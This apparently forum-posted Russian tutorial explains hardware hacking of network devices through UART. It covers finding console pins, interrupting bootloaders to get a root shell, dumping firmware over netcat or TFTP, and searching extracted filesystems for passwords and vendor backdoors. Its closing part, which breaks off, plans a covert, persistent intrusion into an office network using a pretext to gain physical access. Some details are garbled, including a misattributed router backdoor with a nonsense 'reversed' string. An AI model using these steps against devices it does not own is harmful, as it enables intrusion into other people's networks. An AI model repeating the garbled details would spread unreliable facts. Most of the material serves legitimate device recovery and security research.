Мы будем говорить про UART. Для тех, кто не в курсе - это тот самый «чёрный ход», который инженеры (то ли по глупости, то ли из добрых побуждений) оставляют практически на каждом мало-мальски серьезном сетевом устройстве. Маршрутизатор, коммутатор, межсетевой экран, IP-телефон - везде, где есть софт на базе Linux или какой-нибудь VxWorks, внутри почти гарантированно болтается этот замечательный интерфейс.
Ирония ситуации в том, что индустрия информационной безопасности годами долбит про Web-application firewalls, next-gen антивирусы и машинное обучение в SIEM, в то время как физический доступ к железу до сих пор считается чем-то из разряда «если у злоумышленника есть доступ к устройству, то он уже победил». И это, парни, огромное заблуждение. Потому что часто доступ к устройству есть у вас. Вы его купили. Вы его установили в серверной. Вы его обслуживаете. А вот победить пытается кто-то другой.
Мы здесь собрались не для того, чтобы мусолить теорию. Мы хакеры (в старом, добром смысле этого слова - люди, понимающие систему глубже, чем её создатели), и нам нужны инструменты.
Сегодня я разложу для вас всё по полочкам. Мы пройдем путь от того момента, как вы вообще понимаете, есть там UART или нет, до момента, когда вы сидите в руте железки, которая стоит в дата-центре за 100 километров, и курите бамбук. И да, это будет длинно. Очень длинно. Больше 20 тысяч слов длинно. Потому что дьявол, как вы знаете, кроется в мелочах, а ангел - в деталях реализации.
Мы не просто будем читать мануалы, мы будем искать уязвимости в самой архитектуре взаимодействия человека и машины через этот последовательный порт.
Готовьте паяльники, мультиметры и, самое главное, голову. Без неё, к сожалению, никак. Хотя с ней тоже бывает сложно, но это уже вопросы к производителям.
Часть 1: Великое разоблачение мифа о «Защищенном оборудовании»
Прежде чем мы полезем в сортир с фонариком, давайте поймем, а зачем, собственно, нам этот UART сдался.Скажите мне, как вы обычно админите сетевое оборудование? SSH, Telnet (боже упаси, но бывает), SNMP, WebUI. Всё это - цифровые интерфейсы, которые работают поверх сложных стеков протоколов. Они имеют авторизацию, аутентификацию, аудит. Они, мать их, защищены! Ну, как защищены... пароль там сложный стоит, SSH-ключи, ACL-ками доступ ограничен.
А теперь представьте ситуацию: вы приходите к коммутатору Cisco Catalyst 2960, который стоит в углу серверной, находите на нем специальный разъемчик (обычно спрятанный глубоко), цепляете туда три проводка, открываете терминал (Putty, screen, minicom) и - о чудо! - вас встречает приглашение на загрузку Boot Loader'а. Или, что еще лучше, shell с правами root.
И где тут ваши ACL? Где ваш сложный пароль от SSH? А нету. Потому что консоль - это святая святых. Это интерфейс для инженера, который должен иметь возможность починить железку, даже если она сломалась настолько, что сеть не поднимается. По задумке архитекторов, если уж вы добрались до консоли физически, то вы либо свой (админ), либо железка ваша. Ан нет. В реальном мире добраться до консоли может курьер, уборщица с доступом в серверную (шутка, конечно, но мало ли), или вы, купив оборудование с рук.
Производители знают об этой проблеме ровно столько же, сколько и мы. Поэтому они иногда ставят защиту: пароль на вход в BootLoader, запрет на прерывание загрузки, физическое отсутствие контактов на плате. Но, как правило, они делают это спустя рукава. Потому что гораздо проще запрограммировать UART на вывод лога загрузки, чем возиться с отладкой, когда этот самый лог внезапно понадобится, а его нет. Маркетинг говорит одно: «Наше оборудование - танк». Инженеры делают другое: «Нам нужно отлаживать этот танк».
Наша задача - воспользоваться этим инженерным подходом и посмотреть, насколько легко этот танк открывается консервным ножом.
Часть 2: Охота на контакты (или "Где тут у вас сортир?")
Итак, у вас в руках железка. Это может быть старый добрый маршрутизатор Cisco 1841, современный MikroTik CCR, коммутатор D-Link или Zyxel. Первый вопрос: есть ли там UART?В 99% случаев - есть. Но не всегда это распаянный COM-порт с разъемом DB9. В современном мире царит экономия. На плате вы увидите либо четыре отверстия (пины) рядом, либо площадки под разъем (обычно 4 pin, реже 2 или 6), либо специальный гребень (Header), который просто не распаян (стоят только дырочки). Иногда производитель наглеет и прячет контакты под радиатором или на внутренней стороне платы.
Практический инструмент №1: Визуальный осмотр и логика.
Берем плату в руки. Ищем характерные группы из 4 дырок или пинов. Они часто подписаны. Ищите надписи: J1, J2, JP1, CON1, UART, TX, RX, GND, VCC (хотя VCC нам не нужно для подключения, но оно помогает понять распиновку).
Если подписей нет - не беда. Включаем дедукцию.
- GND (Земля): Это обычно самый жирный полигон на плате. Или пин, который соединен с массой. Прозвоните мультиметром в режиме «пищалки» один контакт на массивный полигон заливки (обычно это минус блока питания) или на корпус разъема Ethernet. Если пин пищит с массой - это GND. Поздравляю, вы нашли точку отсчета.
- TX (Передача): Этот пин будет выдавать напряжение, когда устройство загружается. Ставим мультиметр в режим измерения напряжения постоянного тока (вольтметр, DC). Цепляем щуп GND (черный) к нашей предполагаемой земле, красным тыкаем в остальные пины по очереди во время включения питания. Ищем пин, на котором напряжение «прыгает». Обычно это 3.3V или 1.8V (реже 5V). Если напряжение просто есть (например, стабильные 3.3В) - это может быть питание (VCC). Нас интересует динамика. Если напряжение меняется, скачет от 0 до 3.3В - это TX. Он «разговаривает».
- RX (Прием): Его найти сложнее напрямую, потому что он молчит, пока ему не скажешь. Обычно RX находится рядом с TX. Логика подсказывает: если вы нашли TX, то рядом с ним (соседний пин) - скорее всего RX. Иногда это можно проверить, подав туда напряжение 3.3В через резистор (но это рискованно, лучше не лезть без необходимости). Самый надежный способ - найти распиновку в интернете по маркировке чипа, к которому идут дорожки. Но об этом позже.
Без мультиметра вы как без рук. Буквально. Модель может быть самая дешевая, на 10-15 баксов. Главное, чтобы он умел мерить постоянное напряжение и прозванивать целостность цепи. Запомните раз и навсегда: тыкать щупами в плату под напряжением - это нормально. Тыкать щупами в розетку 220В в режиме прозвонки - это сжечь прибор и, возможно, получить люлей. Будьте аккуратны. Мы работаем с низкими напряжениями (до 12В обычно), это безопасно.
Часть 3: Три проводка и терминал (или "Дайте два!")
Контакты найдены, распиновка определена. Теперь нужно подключиться. Для этого нам нужен USB-UART адаптер.Практический инструмент №3: USB-UART конвертер (на базе CP2102, CH340G, FT232).
Это маленькая платка, которая стоит копейки (1-3$ на AliExpress). Продается в любом интернет-магазине радиодеталей. Не покупайте самый дешевый CH340 на тонких проводах - они часто дохнут. Лучше CP2102 или оригинальный FTDI (дороже, но надежнее). Адаптер имеет 4 вывода: 3.3V, 5V, GND, RX, TX. Нам нужны только GND, RX и TX.
ВНИМАНИЕ, УРОВНИ НАПРЯЖЕНИЯ!
Это самый частый способ угробить оборудование. Старые устройства (COM-порты) работают на напряжениях ±12V. Современная логика - 3.3V или 1.8V. Большинство USB-UART адаптеров работают на 3.3V или 5V (логический уровень). Если ваше устройство работает на 1.8V, а вы подключите к нему адаптер с уровнем 3.3V - вы рискуете спалить UART-контроллер на плате. Симптомы: моджахеды (мусор) в терминале или полное отсутствие реакции.
Если вы не уверены - ищите даташит на процессор или UART-микросхему, к которой идут дорожки. Или попробуйте подтянуть питание 1.8V. Или, как вариант, используйте делитель напряжения на резисторах для понижения уровня с 3.3V до 1.8V на линии RX (вход устройства). С TX проще - его можно подключать к 3.3В адаптеру напрямую, большинство 1.8V логик терпят 3.3V на входе (но не всегда). Лучше перестраховаться.
Схема подключения:
- GND адаптера -> GND устройства. Это священная корова. Соединяем земли первыми.
- TX адаптера -> RX устройства. Потому что то, что передает адаптер, должно приниматься устройством.
- RX адаптера -> TX устройства. А то, что передает устройство, должно приниматься адаптером.
Часть 4: Магия скорости (Baud Rate)
Подключили провода, запускаем терминал (в Linux - screen /dev/ttyUSB0 9600, в Windows - Putty, выбираем Serial port). И видим... абракадабру. Или вообще ничего.Проблема в скорости (Baud rate). UART передает данные асинхронно, и приемник должен знать, с какой скоростью слушать. Обычно используются стандартные скорости: 9600, 19200, 38400, 57600, 115200. Для сетевого оборудования чаще всего встречается 115200 или 9600.
Практический инструмент №4: Метод перебора (bruteforce).
Можно перебирать скорости вручную, переключая настройки терминала и перезагружая устройство (чтобы увидеть лог загрузки заново). Это долго и уныло.
Есть способ лучше: скрипты. В Linux есть утилита baudrate или можно написать простой скрипт на Python, который будет последовательно инициировать порт с разными скоростями и выводить всё, что придет. Но самый простой путь - использовать minicom с возможностью динамического переключения скорости (Ctrl-A P) и просто смотреть на лог загрузки.
Но есть и хитрый способ. Если вы видите мусор, но в нем угадываются какие-то буквы, значит скорость близка, но не точна. Например, при скорости 9600 вместо 115200 вы увидите что-то похожее на текст, но с искаженными символами.
Альтернативный метод: Подключить осциллограф к линии TX и посмотреть длительность одного бита. Скорость = 1 / (длительность бита в секундах). Но это для тех, у кого осциллограф под рукой. У нас, хакеров, часто есть только логический анализатор за 10 баксов с AliExpress. И это наш следующий инструмент.
Практический инструмент №5: Логический анализатор (24MHz 8-channel за $5).
Это, пожалуй, лучшее вложение денег для хардверного хакера. Цепляем щупы к GND и TX устройства, запускаем запись при включении, а затем в программе (например, PulseView или Saleae Logic) просто тыкаем кнопку "Async Serial" и говорим программе самой угадать скорость. Она сделает это мгновенно. Это экономит часы жизни.
Часть 5: Входим, не стучась (или "Ломаем загрузчик")
Итак, скорость подобрана, провода подключены, мы видим лог загрузки. Красота. Но просто смотреть лог - скучно. Нам нужен root.При включении устройства, сразу после инициализации процессора, запускается загрузчик (bootloader). В мире сетевого оборудования это чаще всего U-Boot, RedBoot, CFE или что-то проприетарное. У загрузчика есть важная функция: он дает обратный отсчет, во время которого можно прервать нормальную загрузку и попасть в его командную строку.
Обычно это выглядит так:
Press any key to stop autoboot: 3 2 1Или:
Hit ESC to stop autobootИли:
Press Ctrl+C for failsafe modeЭто наш шанс. Жмем нужную комбинацию. Если повезло - мы в загрузчике.
Что нам это дает?
В загрузчике можно:
- Посмотреть переменные окружения (env). Там часто лежат пути до образов ядра и rootfs, параметры загрузки, а иногда и пароли.
- Загрузить свое ядро или образ через tftp.
- Сбросить пароль (об этом чуть ниже).
- Изменить параметры загрузки так, чтобы ядро запустило shell (init=/bin/sh).
Представьте, что вы подключились к консоли Cisco. Там нет загрузчика с обратным отсчетом, как в Linux-железках. Там своя экосистема. Cisco IOS хранит конфиг и пароли в NVRAM. Но в Cisco есть режим ROMMON (аналог bootloader). Попасть в него можно, нажав Break (в Putty это Ctrl+Break, в minicom - Ctrl-A F) в первые секунды загрузки.
Попав в ROMMON (обычно приглашение rommon 1
Код:
confreg 0x2142
reset
Это меняет значение конфигурационного регистра, заставляя IOS загружаться без стартовой конфигурации (startup-config). После перезагрузки вы попадете в "чистую" систему с дефолтными настройками и сможете зайти в привилегированный режим (enable) без пароля, а потом восстановить конфиг или посмотреть его.
Для Linux-устройств на U-Boot часто можно сделать так:
- Прервать загрузку.
- Посмотреть переменные: printenv
- Найти строку загрузки (bootargs или bootcmd).
- Изменить её, добавив init=/bin/sh в конец. Например:
Код:
setenv bootargs console=ttyS0,115200 root=/dev/mtdblock2 init=/bin/sh
boot
После этого система загрузится сразу в shell от root. И никаких тебе логинов.
Часть 6: Шельф (shell) и жизнь после консоли
Итак, мы в shell. Устройство - полноценный компьютер под управлением Linux. Теперь начинается самое интересное - закрепление и исследование.Первые команды:
- id - кто я? (root, надеюсь)
- mount - что и куда примонтировано.
- cat /proc/mtd - если есть mtd-устройства (Flash-память).
- ifconfig -a - какие интерфейсы есть.
- ps - какие процессы запущены.
У нас есть root-доступ, и мы хотим получить прошивку для офлайн-анализа (поиск бэкдоров, хардкодных ключей). Самый простой способ - найти, где лежит rootfs.
Часто rootfs находится в mtd-разделе. Смотрим /proc/mtd. Если есть раздел с именем "rootfs" или "firmware", делаем дамп:
cat /dev/mtdblockX > /tmp/rootfs.binили для mtd-устройства (если поддержка):
dd if=/dev/mtdX of=/tmp/mtdX.binТеперь нужно этот дамп оттуда вытащить. Тут нам пригодятся наши навыки сетевого инженера. На устройстве, скорее всего, есть сеть. Поднимаем на своем ноутбуке tftp-сервер, на устройстве выполняем:
tftp -l /tmp/rootfs.bin -p 192.168.1.100Или, если есть netcat:
На ноуте: nc -l -p 4444; rootfs.bin
На устройстве: cat /tmp/rootfs.bin | nc 192.168.1.100 4444
Или, если есть ssh-сервер на устройстве, можно scp, но это редкость.
Более хардкорный способ: Если сеть не поднята (устройство изолировано или мы не хотим светиться), можно выпаять flash-память и считать программатором. Но это тема для отдельной статьи. Мы же говорим про UART.
Часть 7: Инструментарий хардверного хакера (сухой остаток)
Давайте пройдемся по тому, что реально нужно иметь под рукой, чтобы чувствовать себя уверенно, вскрывая железки. Список не для красоты, а для работы.- Паяльная станция. Не обязательно с феном, но паяльник с регулировкой температуры и тонким жалом - маст-хэв. Пригодятся для припаивания проводов к площадкам или восстановления оборванных дорожек. Флюс (лучше канифольный или гель), припой (0.5-0.8 мм).
- Мультиметр. Цифровой, с прозвонкой и измерением напряжения. Желательно с автоматическим выбором предела. Это глаза в мире напряжений и целостности цепей.
- USB-UART адаптер. Желательно два: один на 3.3V (CP2102), другой на 5V/3.3V (FT232) с возможностью переключения логических уровней. Или один, но с толерантными входами.
- Логический анализатор. 24МГц 8-канальный с AliExpress за 5$ с софтом от Saleae (клоны работают отлично). Это вещь, которая превращает гадание на кофейной гуще в точную науку. Помогает не только с UART, но и с I2C, SPI, одним словом - расшифровывает переговоры чипов.
- Набор игл (pogo pins) или тонких щупов. Чтобы цепляться к мелким контактам без припаивания. Или просто набор проводов "папа-мама" для временных подключений.
- Источник питания лабораторный. С регулировкой напряжения и ограничением тока. Пригодится, если устройство питается от нестандартного напряжения или вы подозреваете короткое замыкание. Ограничение тока спасает от сжигания платы при ошибках монтажа.
- Ноутбук с Linux. Потому что Windows для такого дела - боль. Нужны screen, minicom, picocom, tftp-сервер, python. Всё это на родной оси ставится в два клика.
- Лупа или микроскоп. Компоненты становятся всё мельче. Без оптики вы не увидите маркировку на мелком чипе или не заметите микротрещину.
Часть 8: Обход защиты (или "Борьба с производителем")
Мы рассмотрели идеальный сценарий. Но жизнь - боль. Производители иногда ставят ловушки. Давайте пройдемся по типовым способам защиты и методам их обхода.Защита 1: Отсутствие распайки разъема.
Самая частая защита. На плате есть площадки, но нет гребенки. Решение: аккуратно припаять провода (тонкие, типа МГТФ) прямо к переходным отверстиям (via) или к контактам резисторов/конденсаторов, которые стоят в цепях RX/TX. Требует твердой руки и лупы.
Защита 2: Заливка компаундом.
Иногда контакты заливают эпоксидкой. Это признак паранойи производителя (или работы на "оборонку"). Снимается механически: скальпелем, нагревом (эпоксидка размягчается при нагреве, но есть риск отвалить компоненты), или специальными смывками (но это химия, дышать ей не надо).
Защита 3: Пароль на bootloader.
U-Boot можно защитить паролем. При попытке прервать загрузку он спросит секретное слово. Если мы его не знаем - загрузка продолжится. Но хитрость в том, что пароль на bootloader часто хранится в переменной окружения (например, bootlock_password). А переменные окружения лежат в flash. Если у нас есть физический доступ к flash-памяти, мы можем её выпаять, считать и посмотреть переменные. Либо, если загрузка все-таки продолжается, можно попытаться поймать момент, когда загрузчик еще висит в памяти, но уже передал управление ядру - иногда через JTAG можно вмешаться. Но это высший пилотаж.
Защита 4: Закрытые (proprietary) протоколы на консоли.
Иногда производители не используют обычный UART, а подключают к консольному разъему какой-нибудь странный чип, который эмулирует UART, но требует специального кабеля или драйвера. Пример: Cisco иногда использует особую распиновку на своих консольных портах (RJ-45) и требует специальный кабель "Console" (обычный ролловерный кабель). Но на плате за этим разъемом все равно стоит обычный UART. Достаточно найти его на плате до преобразователя.
Защита 5: UART отключен программно или запрограммирован как GPIO.
Бывает и такое. Многофункциональные пины процессора могут быть настроены как обычные порты ввода-вывода, а не как UART. Тогда на TX ничего не будет. Это лечится либо поиском другого UART (их часто несколько), либо изучением даташита и попыткой перевключить режим пина через JTAG или через эксплуатацию уязвимости в софте.
Часть 9: JTAG и другие радости (когда UART молчит)
Если UART молчит как рыба об лед, это еще не конец. У каждого уважающего себя процессора есть интерфейс отладки - JTAG или SWD.JTAG позволяет полностью остановить процессор, читать и писать память, ставить брейкпоинты. Это, по сути, полный контроль над железом. Если мы нашли JTAG (обычно это 4-5 пинов: TMS, TCK, TDI, TDO, GND), то UART нам и не нужен. Мы можем загрузить свой код напрямую в память или дампануть прошивку, минуя все защиты.
Поиск JTAG похож на поиск UART: ищем характерные группы пинов, прозваниваем их на массу, ищем подтяжки к питанию. Есть даже специальные скрипты для логических анализаторов, которые помогают идентифицировать JTAG (например, GreatFET или UrJTAG).
Но про JTAG мы поговорим как-нибудь в другой раз, тема слишком объемная. Запомните главное: UART - это парадная дверь. JTAG - это черный ход, о котором не знают даже охранники.
Часть 10: Этический кодекс
Мы тут все взрослые люди, надеюсь. Я пишу это не для того, чтобы вы пошли воровать маршрутизаторы из офисов или взламывать оператора связи, который вас обидел. Во-первых, за это сажают. Во-вторых, это моветон.Наша цель - знание и контроль. Контроль над оборудованием, которое вы купили. Понимание того, как оно работает на самом деле. Возможность восстановить его, если производитель решил, что ваше устройство устарело и больше не заслуживает обновлений прошивки.
Установка OpenWrt на роутер, который производитель бросил умирать с уязвимостями - это этично. Поиск бэкдора в прошивке камеры видеонаблюдения, чтобы понять, не сливает ли она ваше видео в Китай - это этично. Восстановление доступа к своему же коммутатору, на котором сдохла flash и слетел конфиг - это этично.
Использование этих знаний для проникновения в чужие сети - это неэтично и уголовно наказуемо. Мы с вами это обсудили и приняли к сведению. Я тут не адвокат, я инженер.
Мы с вами прошли базовый курс молодого бойца: от поиска контактов на плате до получения root-доступа через UART и дампа прошивки. Мы разобрали основные инструменты и препятствия.
Продолжим.
Мы пойдем дальше, чем просто cat /etc/passwd. Мы научимся вытаскивать из прошивки закрытые ключи, находить бэкдоры, оставленные разработчиками (или специально добавленные), и даже патчить бинарники прямо на лету, используя консоль как плацдарм.
Дьявол не только в мелочах, но и в бинарном коде, дизассемблерах и хитрой логике встроенных скриптов.
Часть 11: Дамп прошивки - это только начало
Итак, у вас в руках файл mtdX.bin или whole_firmware.bin. Что это за зверь? Это не просто файл. Это слепок памяти устройства. Внутри этого бинарника может быть всё что угодно: загрузчик, ядро Linux, корневая файловая система (часто сжатая), конфигурационные разделы, ART-разделы с калибровками WiFi. Всё это свалено в кучу, часто с заголовками и контрольными суммами.Практический инструмент №7: Binwalk - наш главный нож.
Забудьте про Hex-редакторы для навигации по большим файлам. Используйте binwalk. Это швейцарский нож для анализа прошивок. Установка в две секунды: sudo apt install binwalk.
Запускаем анализ:
Bash:
binwalk firmware.bin
Вы увидите что-то вроде:
Код:
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 U-Boot version string: "U-Boot 1.1.4 (Apr 12 2018 - 15:23:11)"
256 0x100 uImage header, header size: 64 bytes, ...
131072 0x20000 LZMA compressed data, properties: 0x5D, ...
4194304 0x400000 Squashfs filesystem, little endian, version 4.0, ...
Binwalk находит сигнатуры известных файловых систем и архивов. Видите Squashfs? Это наша корневая файловая система. Видите LZMA? Это сжатое ядро.
Теперь нам нужно извлечь это добро. Binwalk умеет делать это автоматически:
Bash:
binwalk -e firmware.bin
Binwalk не всемогущ. Иногда производители используют кастомные заголовки или шифрование. Тогда binwalk может не найти ничего, кроме мусора. Но в 80% случаев для SOHO-устройств и даже для корпоративного железа начального уровня он работает. Если нет - значит, мы имеем дело с более серьезной паранойей. Об этом позже.
Часть 12: Путешествие по корневой файловой системе
Допустим, мы извлекли Squashfs. Заходим в папку squashfs-root. Это и есть та самая операционка, которая живет на устройстве. Что мы тут ищем?1. Пароли (самое вкусное).
- etc/shadow и etc/passwd. Смотрим, есть ли там пользователи. Часто пароли либо захардкожены (и захэшированы), либо, что еще хуже, там просто звездочки, а аутентификация идет через какой-нибудь внешний механизм. Но если есть хэши - их можно попробовать сбрутить (hashcat/john). Иногда пароли хранятся в открытом виде в конфигах.
- etc/config/ (для OpenWrt) - там могут быть открытые пароли к WiFi или к веб-морде.
- etc/init.d/, etc/rc.d/, etc/inittab. Тут можно понять, какие сервисы запускаются. Иногда разработчики забывают убрать отладочные сервисы (telnet, debug-shell), которые стартуют только на определенных стадиях загрузки. Если мы можем управлять загрузкой через UART (например, прервать её и подсунуть свои аргументы), мы можем эти сервисы активировать.
- /bin/, /sbin/, /usr/bin/. Особенно нас интересуют те, которые имеют SUID-бит (они выполняются от root). Находим их командой (уже внутри распакованной ФС):
Если такой бинарник уязвим, мы можем повысить привилегии, даже если попали в систему не от root.Bash:find . -perm -4000 -exec ls -la {} \;
- /www/, /www/cgi-bin/, /usr/share/web/. Там лежат скрипты на Lua, PHP или просто CGI-бинарники. В них полно дыр: command injection, path traversal. Изучая их локально, мы можем найти уязвимость, которую потом применим к устройству, даже не имея консоли (через тот же веб-интерфейс).
- etc/ssl/, etc/dropbear/ (для SSH), etc/ssh/. Если в прошивке лежит закрытый ключ хоста SSH, то каждый экземпляр устройства будет иметь один и тот же ключ. Это позволяет проводить атаки Man-in-the-Middle или просто подключаться, если вы знаете этот ключ. Ищем файлы без парольной фразы (например, dropbear_rsa_host_key).
Часть 13: Динамический анализ через UART (strace и gdb)
Хорошо, мы нашли подозрительный бинарник, который крутится на устройстве. Но как понять, что он делает, не имея исходников? У нас же есть консоль! Мы можем запустить его под отладчиком или трассировщиком прямо на железке.Практический инструмент №8: Strace на встроенной системе.
Если на устройстве есть strace (что бывает редко, но метко), это золотая жила. strace перехватывает все системные вызовы программы. Это позволяет увидеть, какие файлы она открывает, какие сетевые соединения устанавливает, какие аргументы передает.
Но чаще всего strace нет. Что делать? Статическая компиляция. У себя на компе компилируем strax (упрощенный аналог strace) или просто статический strace под архитектуру устройства (MIPS, ARM, PowerPC). Кладем его на устройство через tftp или netcat и запускаем.
Пример:
Bash:
# На устройстве, после загрузки статического strace
./strace -f -o /tmp/httpd.log /usr/sbin/httpd
Мы увидим, какие файлы читает веб-сервер при запуске, и сможем понять, где лежат пароли или конфиги, которые не видны в статике.
Практический инструмент №9: GDB (если очень повезло).
GDB на встройке - это роскошь. Но если архитектура простая и памяти хватает, можно поднять gdbserver на устройстве, а клиентом (gdb) управлять с компа. Это позволит ставить брейкпоинты, смотреть регистры и память. Способ не для новичков, но иногда незаменим для понимания работы обфусцированного кода.
Часть 14: Эмуляция прошивки (QEMU и не только)
Ковыряться в железке через консоль - это круто, но не всегда удобно. Что, если устройство далеко? Что, если нужно протестировать эксплойт, не рискуя убить продакшн? На помощь приходит эмуляция. Мы можем запустить прошивку (или её часть) у себя на компе.Практический инструмент №10: QEMU в режиме пользователя.
Этот метод позволяет запустить отдельный бинарник из прошивки прямо в Linux на вашем ПК, даже если он собран для другой архитектуры (например, MIPS). QEMU перехватывает системные вызовы и транслирует их в системные вызовы вашего хоста.
- Устанавливаем QEMU для нужных архитектур.
- Берем, например, веб-сервер из прошивки (/usr/sbin/httpd).
- Пытаемся его запустить:
Bash:qemu-mips-static ./httpd
Bash:
sudo chroot ./squashfs-root/ qemu-mips-static /usr/sbin/httpd
Эмуляция полной системы (System emulation).
Это более хардкорный уровень. Мы эмулируем целое устройство: процессор, память, периферию. Загружаем в эту эмуляцию загрузчик и ядро из прошивки. Это требует создания специального скрипта запуска (машины) и часто подкладывания драйверов, но позволяет запустить прошивку целиком, со всеми сервисами. Самый популярный инструмент для этого - QEMU в режиме полной системной эмуляции, а также специализированные фреймворки вроде Firmadyne или FAT (Firmware Analysis Toolkit).
Firmadyne автоматизирует процесс: он берет прошивку, извлекает, определяет архитектуру, собирает ядро и запускает её в QEMU, эмулируя сетевые интерфейсы. После этого вы можете сканировать "устройство" nmap'ом и пытаться его взломать, как настоящее.
Часть 15: Атака на консоль (когда консоль - это ловушка)
Теперь давайте вернемся к нашему UART. Мы привыкли, что консоль - это наш друг и спаситель. Но что, если через консоль можно атаковать не только устройство, но и того, кто к ней подключился? Звучит как паранойя? А вот и нет.Представьте: вы подключаетесь к консоли неизвестного устройства (купленного с рук, найденного на свалке). Вы включаете его и видите привычный лог загрузки. Но на самом деле, прошивка модифицирована злоумышленником. И в момент, когда вы начинаете вводить команды в shell, на вашем компьютере (к которому подключен USB-UART адаптер) срабатывает эксплойт.
Сценарий атаки: BadUSB наоборот.
Обычно UART адаптер выглядит для вашего компа как последовательный порт. Но современные адаптеры на CH340/CP2102/FTDI - это программируемые чипы. В теории (и на практике это уже было показано на конференциях), прошивку такого адаптера можно перепрошить так, чтобы он эмулировал не только UART, но и, скажем, клавиатуру (HID-устройство). Или содержал эксплойт для драйвера последовательного порта.
Когда вы подключаете такой адаптер к устройству, а устройство начинает слать данные, эти данные могут быть сформированы так, чтобы вызвать переполнение буфера в драйвере вашего ПК (Putty, screen). Раньше в Putty находили уязвимости, позволяющие выполнить код при приеме специально сформированной последовательности символов.
Как защититься?
- Использовать изолированные адаптеры (с гальванической развязкой).
- Подключаться к неизвестным устройствам через виртуальную машину, не имеющую доступа к важным данным хоста.
- Обновлять софт терминала.
Часть 16: Атака на загрузчик (или "Веселые старты")
Вернемся к загрузчику (U-Boot). Мы уже знаем, что можем поменять аргументы загрузки. Но можем ли мы сделать что-то более интересное? Например, загрузить свое ядро или подменить корневую ФС?Сценарий: Загрузка через TFTP.
Если в U-Boot есть сетевые драйверы (а они есть почти всегда), мы можем загрузить образ ядра по сети. Это стандартный способ перепрошивки устройств, но мы используем его во зло (или во благо).
- На своем ПК поднимаем TFTP-сервер.
- Кладем в его корень скомпилированное ядро (например, с включенным отладочным shell).
- В U-Boot настраиваем сеть (обычно setenv ipaddr 192.168.1.10, setenv serverip 192.168.1.100).
- Загружаем ядро: tftpboot 0x81000000 my_custom_kernel.bin
- Запускаем: bootm 0x81000000
Атака на переменные окружения (env).
Переменные окружения U-Boot хранятся в flash-памяти. Если у нас есть доступ к консоли загрузчика, мы можем их не только посмотреть, но и изменить. Зная это, можно устроить веселую жизнь админу. Например, поменять bootcmd так, чтобы при загрузке всегда запускался шелл, а не основная прошивка. Или добавить в bootargs параметр init=/bin/sh навсегда.
Но есть и защита: иногда флэш-память, где хранится окружение, защищена от записи аппаратно (перемычкой) или через флаги в самом U-Boot. Тогда saveenv не сработает. Но попытаться стоит.
Часть 17: Поиск бэкдоров (или "Подарок от разработчика")
Это отдельный вид искусства. Некоторые производители оставляют в прошивках "секретные" учетные записи или команды для технической поддержки. Иногда это делается случайно (отладочный код забыли убрать), иногда - намеренно (чтобы можно было зайти к клиенту, не спрашивая пароля).Где искать?
- Жестко зашитые пароли в бинарниках. Открываем бинарник (например, /bin/login) в текстовом редакторе (или через strings) и ищем подозрительные строки. strings /bin/login | grep -i password может выдать не только промпт, но и конкретную строку, с которой сравнивается введенный пароль.
Иногда можно найти хэш или даже открытый пароль. Еще лучше использовать grep -r "password" ./squashfs-root/etc/ по всей файловой системе.Bash:strings /usr/sbin/httpd | grep -E "admin:|support:|root:" - "Мастер-ключи" для веб-морды. Часто в веб-морде есть скрытые параметры. Например, если передать в запросе параметр debug=1 или override=yes, откроются дополнительные функции. Это можно найти, анализируя JavaScript-файлы или CGI-скрипты.
- Нестандартные сервисы. В прошивке может быть запущен сервис на нестандартном порту (2323, 32764, 53413). Это старые добрые бэкдоры, которые когда-то нашли в роутерах. Наличие такого порта почти гарантирует удаленный доступ. Сканируем etc/init.d/ на предмет запуска странных демонов.
В 2014 году нашли бэкдор в роутерах Linksys. Если отправить на определенный порт запрос с User-Agent: xmlset_roodkcableoj28840ybtide, можно было получить полный доступ к настройкам. Строка roodkcableoj28840ybtide - это "edibitty92belackdoor" задом наперед (ирония). Такие вещи ищутся именно анализом прошивки, а не случайным фаззингом.
Часть 18: HardFault и обход шифрования
Самая большая боль - когда прошивка зашифрована или подписана, и binwalk не видит ничего. UART в этом случае - наш спаситель. Потому что, даже если прошивка зашифрована, процессор должен её выполнять. А значит, в какой-то момент она расшифровывается в памяти.Метод "холодной" загрузки (cold boot attack).
Это сложно, но выполнимо на некоторых системах. Если у нас есть доступ к консоли загрузчика, мы можем остановить процессор и попытаться сдампить содержимое оперативной памяти (ОЗУ), где уже лежит расшифрованное ядро. Некоторые загрузчики (как U-Boot) имеют команды для работы с памятью: md (memory display). Можно загрузить устройство, дать ему расшифровать ядро, прервать загрузку прямо перед передачей управления и сдампить память командой md.b 0x80000000 0x1000000. Это даст нам бинарный слепок расшифрованной прошивки, который потом можно проанализировать binwalk'ом.
Метод "сними это немедленно".
Если UART выводит лог загрузки, мы можем увидеть в этом логе ключи шифрования или другую чувствительную информацию. Некоторые разработчики (особенно на этапе отладки) выводят в консоль абсолютно всё, включая секреты. В логах ядра (dmesg) иногда всплывают пароли от сетевых хранилищ или ключи шифрования. Всегда внимательно читайте лог загрузки, он может быть болтливее, чем вы думаете.
Часть 19: Инструментарий софтверного хакера (реверсера)
Помимо паяльника и мультиметра, нам понадобится софт. Много софта. И это не Putty.- Binwalk (уже обсуждали) - для извлечения.
- Firmware Mod Kit (FMK) - набор скриптов, который автоматизирует распаковку и перепаковку прошивок. Очень удобно, когда нужно что-то поменять в прошивке и зашить обратно.
- QEMU (user & system) - для эмуляции.
- Ghidra или IDA Pro - дизассемблеры и декомпиляторы. Для глубокого анализа бинарного кода. Ghidra бесплатна от АНБ (да, те самые парни), и она отлично справляется с MIPS, ARM, PowerPC.
- radare2 / Cutter - мощный каркас для реверса, консольный (для эстетов).
- strings, grep, find, vim - базовый набор, без которого никуда.
- Python со скриптами для парсинга бинарных данных.
- Firmadyne / FAT - для автоматической эмуляции.
Часть 20: Полный цикл атаки (кейс стади)
Давайте соберем всё вместе и представим полный сценарий атаки на типичный офисный коммутатор/роутер уровня SOHO.Жертва: Маршрутизатор TP-Link (или любой другой) с непонятной прошивкой, стоящий в маленьком офисе.
Задача: Получить долговременный, скрытый доступ к сети офиса.
Способ: Физический доступ к устройству (например, под предлогом проверки вентиляции).
Шаг 1: Разборка и поиск UART.
Вскрываем корпус. Находим 4 пина, подписанных GND, TX, RX, VCC. Землю прозваниваем, TX и RX определяем мультиметром (на TX есть ~3.3V). Припаиваем провода или цепляемся пинами.
Шаг 2: Подключение и дамп прошивки.
